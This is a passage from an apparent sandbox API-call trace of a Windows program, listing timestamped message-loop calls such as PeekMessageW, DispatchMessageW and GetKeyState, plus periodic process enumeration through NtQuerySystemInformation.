(lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0223.205] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0223.205] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0223.206] WaitMessage () returned 1 [0223.216] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0223.217] IsWindowUnicode (hWnd=0x10166) returned 1 [0223.217] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0223.217] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0223.217] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0223.217] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0223.217] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0223.217] WaitMessage () returned 1 [0223.750] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0223.750] IsWindowUnicode (hWnd=0x10166) returned 1 [0223.750] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0223.750] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0223.751] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0223.751] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0223.751] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0223.751] WaitMessage () returned 1 [0223.887] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0223.887] IsWindowUnicode (hWnd=0x1015c) returned 1 [0223.887] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0223.887] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0223.887] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0223.887] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x66f0) returned 0x0 [0223.890] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0223.890] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0223.890] WaitMessage () returned 1 [0224.277] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0224.277] IsWindowUnicode (hWnd=0x10166) returned 1 [0224.277] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0224.278] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0224.278] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0224.278] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0224.278] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0224.278] WaitMessage () returned 1 [0224.810] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0224.811] IsWindowUnicode (hWnd=0x10166) returned 1 [0224.811] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0224.811] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0224.811] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0224.811] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0224.811] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0224.811] WaitMessage () returned 1 [0225.355] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0225.355] IsWindowUnicode (hWnd=0x10166) returned 1 [0225.355] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0225.355] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0225.355] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0225.355] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0225.355] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0225.355] WaitMessage () returned 1 [0225.884] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0225.884] IsWindowUnicode (hWnd=0x10166) returned 1 [0225.885] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0225.885] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0225.885] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0225.885] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0225.885] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0225.885] WaitMessage () returned 1 [0225.900] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0225.900] IsWindowUnicode (hWnd=0x1015c) returned 1 [0225.900] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0225.900] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0225.900] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0225.900] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x66f0) returned 0x0 [0225.902] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0225.902] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0225.902] WaitMessage () returned 1 [0226.415] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0226.415] IsWindowUnicode (hWnd=0x10166) returned 1 [0226.415] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0226.415] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0226.415] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0226.415] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0226.415] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0226.415] WaitMessage () returned 1 [0226.945] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0226.945] IsWindowUnicode (hWnd=0x10166) returned 1 [0226.945] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0226.945] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0226.945] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0226.945] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0226.945] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0226.946] WaitMessage () returned 1 [0227.260] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0227.260] MapWindowPoints (in: hWndFrom=0x10172, hWndTo=0x0, lpPoints=0xb6ed50, cPoints=0x2 | out: lpPoints=0xb6ed50) returned 21103092 [0227.260] IsWindowUnicode (hWnd=0x10172) returned 1 [0227.260] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0227.260] MapWindowPoints (in: hWndFrom=0x10172, hWndTo=0x0, lpPoints=0xb6ed90, cPoints=0x2 | out: lpPoints=0xb6ed90) returned 21103092 [0227.260] SetCursor (hCursor=0x10003) returned 0x10003 [0227.261] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0227.261] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0227.261] _TrackMouseEvent (in: lpEventTrack=0x2b37270 | out: lpEventTrack=0x2b37270) returned 1 [0227.261] SendMessageW (hWnd=0x10172, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0227.261] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0227.261] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x200, wParam=0x0, lParam=0x1f009d) returned 0x0 [0227.261] GetKeyState (nVirtKey=1) returned 0 [0227.261] GetKeyState (nVirtKey=2) returned 0 [0227.261] GetKeyState (nVirtKey=4) returned 0 [0227.261] GetKeyState (nVirtKey=5) returned 0 [0227.261] GetKeyState (nVirtKey=6) returned 0 [0227.261] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0227.261] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0227.261] WaitMessage () returned 1 [0227.366] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0227.366] IsWindowUnicode (hWnd=0x10172) returned 1 [0227.366] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0227.366] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0227.366] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0227.367] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0227.367] IsWindowUnicode (hWnd=0x10172) returned 1 [0227.367] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0227.367] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0227.367] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0227.367] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x2a1, wParam=0x0, lParam=0x1f009d) returned 0x0 [0227.367] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0227.367] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0227.367] WaitMessage () returned 1 [0227.475] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0227.475] IsWindowUnicode (hWnd=0x10166) returned 1 [0227.475] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0227.475] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0227.475] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0227.475] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0227.475] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0227.475] WaitMessage () returned 1 [0227.914] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0227.914] IsWindowUnicode (hWnd=0x1015c) returned 1 [0227.914] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0227.914] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0227.914] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0227.914] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6730) returned 0x0 [0227.922] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0227.923] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0227.923] WaitMessage () returned 1 [0228.025] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0228.025] IsWindowUnicode (hWnd=0x10166) returned 1 [0228.025] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0228.025] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0228.025] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0228.025] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0228.025] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0228.025] WaitMessage () returned 1 [0228.277] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0228.278] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x84, wParam=0x0, lParam=0x255039c) returned 0x1 [0228.278] IsWindowUnicode (hWnd=0x1017a) returned 1 [0228.278] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0228.278] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0228.278] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0228.278] CallWindowProcW (lpPrevWndFunc=0x7301b8c9, hWnd=0x10172, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0228.278] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0228.278] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x84, wParam=0x0, lParam=0x255039c) returned 0x1 [0228.278] IsWindowUnicode (hWnd=0x1017a) returned 1 [0228.278] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0228.278] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x84, wParam=0x0, lParam=0x255039c) returned 0x1 [0228.279] SetCursor (hCursor=0x10003) returned 0x10003 [0228.279] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0228.279] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0228.279] _TrackMouseEvent (in: lpEventTrack=0x2b1ead8 | out: lpEventTrack=0x2b1ead8) returned 1 [0228.279] SendMessageW (hWnd=0x1017a, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0228.279] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0xc120, wParam=0x0, lParam=0x0) returned 0x0 [0228.279] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x200, wParam=0x0, lParam=0x3c005e) returned 0x0 [0228.279] GetKeyState (nVirtKey=1) returned 0 [0228.279] GetKeyState (nVirtKey=2) returned 0 [0228.279] GetKeyState (nVirtKey=4) returned 0 [0228.279] GetKeyState (nVirtKey=5) returned 0 [0228.279] GetKeyState (nVirtKey=6) returned 0 [0228.279] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0228.279] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0228.279] WaitMessage () returned 1 [0228.381] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0228.381] IsWindowUnicode (hWnd=0x1017a) returned 1 [0228.381] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0228.381] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0228.381] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0228.381] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0228.381] IsWindowUnicode (hWnd=0x1017a) returned 1 [0228.381] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0228.382] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0228.382] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0228.382] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x2a1, wParam=0x0, lParam=0x3c005e) returned 0x0 [0228.382] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0228.382] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0228.382] WaitMessage () returned 1 [0228.552] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0228.552] IsWindowUnicode (hWnd=0x10166) returned 1 [0228.552] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0228.552] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0228.552] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0228.552] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0228.552] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0228.552] WaitMessage () returned 1 [0229.082] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0229.082] IsWindowUnicode (hWnd=0x10166) returned 1 [0229.082] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0229.082] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0229.082] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0229.083] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0229.083] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0229.083] WaitMessage () returned 1 [0229.273] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0229.273] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0229.274] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0229.274] IsWindowUnicode (hWnd=0x1017a) returned 1 [0229.274] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0229.274] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0229.274] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0229.274] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1017a, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0229.274] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0229.274] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0229.274] WaitMessage () returned 1 [0229.613] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0229.613] IsWindowUnicode (hWnd=0x10166) returned 1 [0229.613] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0229.613] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0229.613] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0229.614] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0229.614] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0229.614] WaitMessage () returned 1 [0229.924] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0229.925] IsWindowUnicode (hWnd=0x1015c) returned 1 [0229.925] GetMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xb6f0bc) returned 1 [0229.925] TranslateMessage (lpMsg=0xb6f0bc) returned 0 [0229.925] DispatchMessageW (lpMsg=0xb6f0bc) returned 0x0 [0229.925] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3a894b0, Length=0x20000, ResultLength=0xb6ed10 | out: SystemInformation=0x3a894b0, ResultLength=0xb6ed10*=0x6770) returned 0x0 [0229.936] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0229.936] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xb6f0bc) returned 0 [0229.936] WaitMessage () returned 1 [0230.143] PeekMessageW (in: lpMsg=0xb6f0bc, hWnd=0x0, wMsgFilterMin=0x0, 